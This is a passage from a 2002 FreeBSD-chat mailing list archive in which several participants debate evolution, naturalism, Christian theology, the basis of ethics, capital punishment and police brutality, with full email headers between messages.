did the National Socialists. That's some escape hatch. More > > like out of the frying pan into the fire. That's all well and good, > > until you find yourself on the receiving end of being defined in > > such a manner. > > For example, when you break into someone's house and threaten to > kill their child, and find yourself killed by one of the parents in > consequence, because at that point, the parent is able to define > a human being as "not someone who would do this"? Some definitions > are emergent. Or when you are defined to be inhuman based on your ethnicity or beliefs. It seems you want to have your cake and eat it too. If you begin arbitrarily defining people as inhuman, you can't get off the bus when implications arise that you don't like. > > On the other hand, if man is the imago Deo, you at least have > > a rationale for protecting God's image bearers through the means of > > capital punishment. > > ...Of God's image bearers? That doesn't make sense; it's self > contradictory. Why? Just because you don't understand a concept doesn't make it self-contradictory. > > You fail to distinguish between murder and killing. Killing > > under most circumstances *is* wrong, but in some circumstances > > the greater sin comes from allowing murderers to live. > > Not coming from the theory of morphological value you've put > forth... from that theory, the murderer could in fact be acting > as an instrument of God's will. Mostly we lock those people up. You are talking about God's inscrutable will. This is irrelevent, since what we have to work with is God's revealed will. And that is that murderers by put to death. You know, kind of like it was God's will that Christ be crucified, yet he still holds those responsible for the crime guilty. > > Hence, as a previous poster pointed out, the governing > > authorities (whether Christian, or pagan) are ministers of God's > > wrath. > > By virtue of a popular election? I didn't realize that God > had deputized the population with the power to deputize people > to act on His behalf. I must not have got that memo... The particular form of government is irrelevent. They are ultimately accountable to God for the way the execute their office. > > > It is moral *within the context of that society*. Whether neighboring > > > societies would tolerate the activity is another matter altogether. > > > Societies hold each other to consensual standards, as well, in the > > > context of the society of societies of which they are members. > > > > Why shouldn't they tolerate it? > > It's not a matter of "should" or "should not". Tolerance or > intolerance arises fron consensus among the society of societies. So then, hypothetically, if the world community had decided to tolerate the extermination of jews, this would be okey-dokey with you? I'm still trying to understand how you get from desriptive to prescriptive ethics. > > I'm talking about a society that *does* consent, such as one that > > tolerates abortion. > > Dave Hayes made the initial statement. What you, Neal E. Westfall > are talking about, is adjunct context to the original discussion, > isn't it? ;^). Okay, okay. 8-) > > By the way, if it were not for imigration, most Western societies > > would be decreasing in population, as the native population is not > > reproducing fast enough to replenish those being lost. > > You act like you believe this is a bad thing, that a higher > population is somehow a global good. From my worldview, yes. Overpopulation is a myth. The fact that some societies have higher populations than others is indicative of a distribution problem. > > And by the way, speaking of abortion, isn't this also > > counter-productive to evolution? > > Not really. What is evolution's goal, such that abortion is > counter to it? Survival of the "fittest"? 8-) > > > In the case of a police state, where physical power is centralized, > > > there's always the possibility of subversion, infiltration, or, in > > > the limit, human wave assault. > > > > This usually ends up with many dead humans. > > Yes. But one ideal wins dominance. Which ideal *ought* to win? 8-) > > > To have a society is to grant that society rights over individuals. > > > There is no such thing as a tyranny of one. By your argument, all > > > jailed tyrants should be freed, because it's tyranical to jail a > > > tyrant. But in freeing a tyrant to act upon your society, are you > > > not therefore still tyranical, this time by proxy? > > > > Ah, the fallacy of the false dichotomy. > > Why is this dichotomy false? Because maybe the rights of an individual end where they would conflict with the rights of another. > > I never advocated Dave's position any more than I advocated yours. > > I don't define tyranny as being "not free". With freedom comes > > responsibility, and it is acknowledged that the state must be > > granted some degree of power for the purpose of securing individual > > rights. This means putting tyrants in jail, and defining freedom > > in such a way as that it excludes acts of wickedness. For this we > > need an external, objective standard of ethics. > > Not really. All you need is a self-consistent system of ethics. According to you, as long as people are willing to tolerate it, *any* system of ethics is by definition self-consistent. BTW, why, on your worldview, is consistency necessary? > > > Whoever the governed consent to have govern them. > > > > I would still like to know what "the greatest good for the greatest > > number" means. > > It means whatever consensus says it means. Do you apply this line of thinking to the laws of logic as well? I assume not. If this is indeed the case, why *ought* the laws of logic be adhered to when opposing parties start disputing with each other? > > Sounds kind of like Marx, or Star Trek. The problem, > > or course, is who gets to decide what the "good." > > Whoever the governed consent to have govern them. What I want to know is how consensus is arrived at. I don't think it can be done without appealing to a moral authority. > > Well, let's take the logic of naturalism for example. Recall that > > naturalism attempts to account for everything on the basis that > > all that exists is matter/energy and the operation of physical laws. > > > > Premise A: All current states of matter/energy are determined by > > the operation of physical laws on antecedent states > > of matter/energy. > > Premise B: My current beliefs can be accounted for solely on > > naturalistic principles. > > Premise C: Other people's beliefs can be accounted for solely on > > naturalistic principles. > > > > Conclusion D: All beliefs are pre-determined. > > So randomness is supernatural? You conclusion is invalid, if > naturalistic principles permit randomness. Sorry, but your appeal to randomness does not save reason. It is not even clear what you mean by "randomness." If what you mean is that we cannot exactly ascertain with certainty a given energy, position, or momentum, this does not invalidate the above conclusion. What is "chance"? All you are saying is that we cannot know all the factors that determine particular beliefs, but determined they are. "Chance" is a catch-all word that explains nothing at all. Whether determined by "chance" (whatever that is), or determined by the operation of physical laws on antecedent states, beliefs are still determined, they certainly *don't* have anything to do with whether or not they comport with reason or truth. > > IOW, you cannot get from electro-chemical reactions in the grey-matter > > to the notion of "true belief" and "false belief". All beliefs can > > only be accounted for on naturalistic terms, therefore nobody can > > say that their particular view of reality is true in the sense that > > it is the actual state of affairs that obtains, but rather you > > couln't help but believe what you believe, because that's just the > > way the synapses fired in your brain. And if someone else holds to > > a diametrically opposed view, it cannot be deemed "false" since it > > too is just the result of electro-chemical reactions in their brain. > > In short, if naturalism is true, it could never be known to be true. > > It would be like saying the Mississippi "knows" how to get to the > > ocean, while Lake Michigan does not. > > You appear to be trying to recreate an example of Godel's > incompleteness theorem, using a naturalistic example. The > problem with doing that is that naturalism recognizes Godel. Call it what you want, you still haven't answered the difficulty. > > And I've already anticipated your answer. You will say that > > reasoning abilities are "emergent". To which I will respond, > > "How?" Please elaborate. > > I don't understand what your example has to do with the existance > or non-existance of reasoning. All you've really addressed is > the idea that contradictory beliefs can be held by different > people. I would point out that the naturalist view is that these > contradictory beliefs can be tested empirically, and if false, be > falsified. You've completely missed the reductio. If naturalism is true, every reason you give for maintaining your belief in naturalism is itself determined by either chance or by the operation of physical laws on the antecedent states of the synapses in your brain. Your falsification principle itself is suspect. Nothing like "reason" ever enters the picture. Certain transcendental states of affairs must obtain before your falsification principle is even meaningful. To cite the previous example, the Mississippi does not, and cannot theororize and empirically test how it knows how to get to the ocean. > I think that many people apparently don't understand that the > scientific process is about the falsification of hypotheses; a > scientist does not *prove* things, a scientist only ever > *disproves* things. If you are a follower of Karl Popper. I don't have any problem with that, but his methods still rely on inductive reasoning, which, as we see above isn't even possible on a naturalistic worldview. > A hypothesis, if it has not yet been disproven, is still just > a hypothesis, not Truth. Does this include the hypothesis that science is about the falsification of hypotheses? > The standard we use to judge one hypothesis against another, > if neither has yet been disproven, is that of simplicity: the > simpler explanation is presumed to be the correct one, unless > there is evidence to the contrary (thus falsifying the simpler > explanation). Again, I don't necessarily disagree with that method, but it isn't even meaningful unless expressed within the context of a worldview that provides for the preconditions for the possibility of inductive reasoning. > > > > Then I would have to ask to what end such "self-organizing systems" > > > > attain? Organizing into what? For what purpose? > > > > > > Why does there have to be a purpose? > > > > If you say something has a teleological basis, it has a purpose by > > definition. > > I think you are consuing teleology and theology? From the American Heritage Dictionary of the English Language, 4th ed: (from http://www.bartleby.com/61/97/T0089700.html) SYLLABICATION: teleology PRONUNCIATION: tl-l-j, tl- NOUN: Inflected forms: pl. teleologies 1. The study of design or purpose in natural phenomena. 2. The use of ultimate purpose or design as a means of explaining phenomena. 3. Belief in or the perception of purposeful development toward an end, as in nature or history. > > > It may matter to you, personally. If it does, you with either act > > > within the system, to change the mechanism whereby the action results > > > in a penalty, or you will engage in civil disobedience to provide an > > > example to others -- sacrificing yourself to the greater good, or you > > > will declare your seperateness from society, in some way. > > > > Yes, yes, I know. But can you explain, on your worldview, why such > > disagreements should arise in the first place? > > Manifest self interest by one of the complaintants. Yes, but on your rationalism, there ought never to be intellectual disagreements at all. Wittgenstein recognized that the source of intellectual confusion is a moral issue. What do you think? > > > So you will change the rule, or you will be removed from the conflict > > > situation, or you will remove yourself from the conflict situation. > > > No matter what you do (or the actual outcome), the conflict will be > > > resolved to the satisfaction of the society. > > > > Yes, but this is all beside the point. It is purely descriptive. > > To what ends *should* society be seeking? > > IMO? The advancement of human knowledge. Well, I can understand why a Christian would attain to such a noble goal, we are to take dominion over the earth to the glory of God, and so forth. But what I can't understand is why a person who believes there is no purpose or meaning behind anything would want to attain to that goal. > If nothing else, we will end up finding the answer to the question > os what ends society should be seeking, and, most importantly, > not be able to falsify the idea that we have discovered the answer. People are still trying to falsify the Bible. I don't think the attempts have been successful, do you? 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 11:40: 0 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DD75D37B400 for ; Wed, 4 Sep 2002 11:39:57 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5696343E6A for ; Wed, 4 Sep 2002 11:39:57 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84IduGd056398; Wed, 4 Sep 2002 11:39:56 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84IduvF056394; Wed, 4 Sep 2002 11:39:56 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 11:39:55 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D756EB4.DE0179ED@mindspring.com> Message-ID: <20020904113306.I88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002, Terry Lambert wrote: > > > By evolving creatures who imprison or kill peers who engage in > > > forcible reproductive acts, thereby ensuring their removal from > > > the gene pool. > > > > Have either of you ever wondered why, over billions of years, evolution > > hasn't made these problems irrelevant? I mean, how many billions of > > years do we need to wait for evolution to kick in and remove the > > miscreants? > > Either it's not a genetic trait, or the gene is recessive. > > Recessive genes do not get eliminated from the population, > because there is no evolutionary pressure on the bearers of > the genes, only on their offspring in which the genes are > expressed. Or possibly on your evolutionary theory, (I think Dave will appreciate this) those genes are necessary for the survival of the species. > > > A society no more cares for its individual members than you > > > care for the individual cells which make up your body. > > > > Why then all the talk about "the rights of the state"? > > Thus implying a state which cares not for individual members > has no rights? Exactly. > By that argument, we should not talk about the rights of the > individual, since individuals are made up of cells, yet do not > care for the rights of the individual cells of which they are > composed... and therefore have no rights. Fallacy of composition? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 11:42:49 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8F04A37B400 for ; Wed, 4 Sep 2002 11:42:46 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 170DD43E42 for ; Wed, 4 Sep 2002 11:42:46 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84IgjGd059876; Wed, 4 Sep 2002 11:42:45 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84Igjjr059856; Wed, 4 Sep 2002 11:42:45 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 11:42:45 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D756FD1.1BA06101@mindspring.com> Message-ID: <20020904114037.D88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002, Terry Lambert wrote: > "Neal E. Westfall" wrote: > > Some questions are proven from the impossibility of the contrary. If > > a particular worldview does not provide the preconditions of rationality, > > it should be rejected. For example, the fact that naturalism undermines > > the ability to know whether one's views are true or false eliminates > > naturalism as a viable worldview. In fact, if naturalism is false its > > opposite, supernaturalism must be true. > > Incorrect. > > Naturalism allows one to know *if* their views are false. How? > It just > doesn't permit one to know *that* one's views are true, or merely > a useful approximation of truth which may be later disproven by > future collection of empirical evidence. How is empricism even possible on a naturalistic worldview? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 11:45:47 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8730037B400 for ; Wed, 4 Sep 2002 11:45:46 -0700 (PDT) Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3691F43E6E for ; Wed, 4 Sep 2002 11:45:46 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0634.cvx40-bradley.dialup.earthlink.net ([216.244.44.124] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17meme-00012j-00; Wed, 04 Sep 2002 11:21:44 -0700 Message-ID: <3D764EFB.2B833A01@mindspring.com> Date: Wed, 04 Sep 2002 11:20:43 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209041214.g84CEK183039@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > The reason that both of you are so difficult to argue with is that > > neither of you seem to think anything is meaningful. > > I'll admit, to me this is all a dream. Controlled folly this all is. > > Getting Terry to admit that would be...difficult. ;) Very. IMO, everything is fraught with meaning. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 11:55:22 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2BD0E37B400 for ; Wed, 4 Sep 2002 11:55:19 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9E45743E6A for ; Wed, 4 Sep 2002 11:55:18 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84ItIGd075003; Wed, 4 Sep 2002 11:55:18 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84ItGYw074991; Wed, 4 Sep 2002 11:55:16 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 11:55:15 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D75712A.E383C304@mindspring.com> Message-ID: <20020904114318.Y88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002, Terry Lambert wrote: > "Neal E. Westfall" wrote: > > You guys are quite amusing to read! The only thing you can agree > > on is your anemic prejudices against theology. > > I don't personally know if there is a God or not. While it may be possible to claim agnosticism regarding *a* god, it is impossible to claim agnosticism with regard to the Biblical God, since this Biblical God makes the claim that all men know Him. (Romans 1 again) To claim not to know Him is to deny Him. > Barring evidence one way or the other, the choice between any > two competing hypothesis must be made on the basis of which of > the two is simpler. Of course, people have different conceptions of what constitutes "simpler", which introduces an ineradicable element of subjectivity to Ockham's razor. > You seem to believe that the making of this choice constitutes > evidence of belief (or disbelief). Without supplying some supporting criteria, Ockham's razor is just silly. Anybody with a axe to grind can claim that their views are "simpler." Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 12: 6:43 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B928637B400 for ; Wed, 4 Sep 2002 12:06:38 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 05FF143E4A for ; Wed, 4 Sep 2002 12:06:38 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84J6bGd081302; Wed, 4 Sep 2002 12:06:37 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84J6avv081291; Wed, 4 Sep 2002 12:06:36 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 12:06:36 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Terry Lambert Cc: Dave Hayes , Subject: Re: Why did evolution fail? In-Reply-To: <3D7573F0.EDC1196B@mindspring.com> Message-ID: <20020904115602.M88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002, Terry Lambert wrote: > "Neal E. Westfall" wrote: > > On Mon, 2 Sep 2002, Terry Lambert wrote: > > > Dave Hayes wrote: > > > > It's not the environment that votes, it's the creature that dies. > > > > The environment is fairly static in this case. > > > > > > The environment chooses the creatures which survive. > > > > Why do you insist on reifying nature? Are you a pantheist? > > No. Recognizing that the environment acts upon an individual > doesn't take a pantheist (I guess it also puts the nail in the > coffin of your idea that I am a Monoist... ;^)). I'm not all that committed to classifying you one way or the other. 8-) Actually, it seems that people today tend to be a bit eclectic, so nailing them down on their beliefs is a bit like nailing down water. > > > My personal preference it to analyze the problem, determine > > > the class of problems it represents (if non-unique), and then > > > solve for the set of problems the space represented by the > > > class, do it once, and never have to look back. I hate having > > > to solve the same problem more than once: it's an incredible > > > waste of my time. > > > > Have you solved the problem of induction yet? > > 8-) > > If I had, then you are probably having this conversation with a > computer program. 8-). 8-) > > Consider this hypothesis: > > > > "For the wrath of God is revealed from heaven against all > > ungodliness and unrighteousness of men who suppress the > > truth in unrighteousness, because that which is known about > > God is evident within them; for God made it evident to them. > > For since the creation of the world His invisible attributes, > > His eternal power and divine nature, have been clearly seen, > > being understood through what has been made, so that they are > > without excuse. For even though they knew God, they did not > > honor Him as God or give thanks, but they became futile in > > their speculations, and their foolish heart was darkened." > > (Romans 1:18-21) > > It's always easy to argue in third person perfect, because you > never have to take the blame for the ideas, and there's never > an appeal to a contradictory witness to worry about. 8-). Some things are just transcendentally necessary. 8-) > > > > > Not a dodge. My Uncle-by-marriage's sister is the person who > > > dispenses Charles Manson's medication. Some people yanked out > > > out their interface cables before the programming was complete. > > > > Can't go there, remember? There is no Programmer, hence no > > programming. > > 8-) > > That's "Programmer", not "programmer". 8-). Um...yeah, like I said. 8-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 12:14:13 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 58C7337B400 for ; Wed, 4 Sep 2002 12:14:10 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id D31AE43E77 for ; Wed, 4 Sep 2002 12:14:09 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84JE9Gd082539; Wed, 4 Sep 2002 12:14:09 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84JE8G1082536; Wed, 4 Sep 2002 12:14:08 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 12:14:08 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: Terry Lambert , , Subject: Re: Why did evolution fail? In-Reply-To: <20020904021149.10d2e0f4.yid@softhome.net> Message-ID: <20020904120659.L88455-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Joshua Lee wrote: > On Tue, 03 Sep 2002 19:34:18 -0700 > Terry Lambert wrote: > > > "Neal E. Westfall" wrote: > > > You guys are quite amusing to read! The only thing you can agree > > > on is your anemic prejudices against theology. > > Actually, we weren't talking much about theology until you took offense at the subject line. You misunderstand, sir. No offense taken. Just a friendly little conversation. Evolution has certain implied theological committments, however, so it seemed appropriate to "seize the moment", if you will. Good Day, Neal > > > I don't personally know if there is a God or not. > > > > Barring evidence one way or the other, the choice between any > > two competing hypothesis must be made on the basis of which of > > the two is simpler. > > Terry, William of Occam was a theist. ;-) > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 13:19:34 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AF27137B400 for ; Wed, 4 Sep 2002 13:19:32 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 24A8143E4A for ; Wed, 4 Sep 2002 13:19:32 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84KJUGd017243; Wed, 4 Sep 2002 13:19:30 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84KJTY1017236; Wed, 4 Sep 2002 13:19:29 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 13:19:29 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209041140.g84BeK182877@hokkshideh2.jetcafe.org> Message-ID: <20020904131204.T13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > >> > What questions which cannot be dealt with rationally? > >> > >> "Is there a God?" "Why are we here?" "What is the one difference > >> between a sacred being and an evil being?" > >> > >> Those are some examples. Have fun. ;) > > > > How to deal with them rationally: "I don't know". > > That is the first step to wisdom. |) Either that, or "The fear of the Lord...etc." (Prov. 1:7) 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 15: 7:57 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2233137B400 for ; Wed, 4 Sep 2002 15:07:48 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 93BE143E6A for ; Wed, 4 Sep 2002 15:07:46 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g84M7jGd038104; Wed, 4 Sep 2002 15:07:45 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g84M7iKO038101; Wed, 4 Sep 2002 15:07:45 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Wed, 4 Sep 2002 15:07:44 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Dave Hayes Cc: Terry Lambert , Subject: Re: Why did evolution fail? In-Reply-To: <200209041214.g84CEK183039@hokkshideh2.jetcafe.org> Message-ID: <20020904132317.I13440-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 4 Sep 2002, Dave Hayes wrote: > >> I don't care what he was. There was zero excuse for that display > >> of police brutality. There's zero excuse for any of it actually, > >> and it's a prime reason I despise authority and rebel against any > >> sort of organized policing. Who watches the watchers? > > > > Hmmm...On what basis does anyone say that there is "zero excuse" for > > such and such action? Moral condemnations flow forth, but on what > > basis? > > Personal history. > > When I was 15, my best friend was shot in cold blood by LAPD for > "resembling" some guy who had offed a 7-11. The guy was one of the > smartest people I've ever known, and most definately not a > criminal. The LAPD has a very long history of using excessive force > when dealing with anyone (criminal or otherwise), especially for those > of us that grew up here. > > Granted, I was kind of traumatized and this may not be a basis > everyone can accept. But I do, and at the moment that's all that counts. Please do not misunderstand. There is indeed no excuse for such behavior. Personal experiences such as the one you relate above is where the rubber meets the road and one discovers whether or not his worldview lives up to whether or not it can withstand the onslaught of life. I would ask if you really think yours does that in the face of such wickedness. > > However, given your rejection of authority, who are you to condemn > > police brutality? > > Someone who's lost a friend to it. And this is exactly why I find it bizzare that someone who has lived through such an experience would continue to believe that in the end, it's all pretty meaningless. According to Christian theology, there is no event that takes place which does not have a purpose in the ultimate scheme of things. While many find this abhorrent, it can also be a great comfort in the face of the horrors of life. > > All you are doing is confirming that "there is none righteous, not > > even one, there is none who understands, there is none who seeks for > > God; all have turned aside, together they have become useless, there > > is none who does good, not even one..." (Romans 3:10-12) You really > > should read the entire passage, it gets even more to the point, such > > that, "every mouth may be closed and all the world may become > > accountable to God". > > Well, two things before I respond. > > First, when any biblical prose comes into debate, unless the people > are very focused on Truth, it will disintegrate into exact semantic > meanings of words written over a couple thousand years ago. This is > not a place to learn truth, but it is a place to steep in > righteousness. ;) The two are related. You cannot have righteousness without truth, nor can you have the truth without righteousness. This goes a long way to explaining why there is so much confusion over truth in the world. People do not by nature seek after truth, nor do they seek after righteousness. Your own comments about not trusting the watchers is a case in point. Another is your observation that debate over biblical texts can degerate into arguing over the semantic meanings of the words. People who are engaged in sin do not want to clearly interpret the meaning of scripture. The problem is entirely in man, not the texts. > Secondly, the bible has many layers of meaning. Some of the layers > are unavailable to people without the proper experiential data to > interpret them. (This means, if you are a Christan, you read the Bible > and then ask God what it means, not your pastor or some bible geek). I'm not in full agreement with what my pastor says on every point, but I do recognize the value in recognizing him as an authority, someone who has gone to seminary, studied Hebrew and Greek and is more familiar with the languages than I and the way language was used in those days. Believe me, I've gone through some paradigm shifts from studying these issues and having to accept that previous assumptions about life, and even the way one approaches the scriptures were wrong. I reject the idea that because people have different interpretations, the conclusion is warranted that nobody has the correct interpretation. What you suggest above 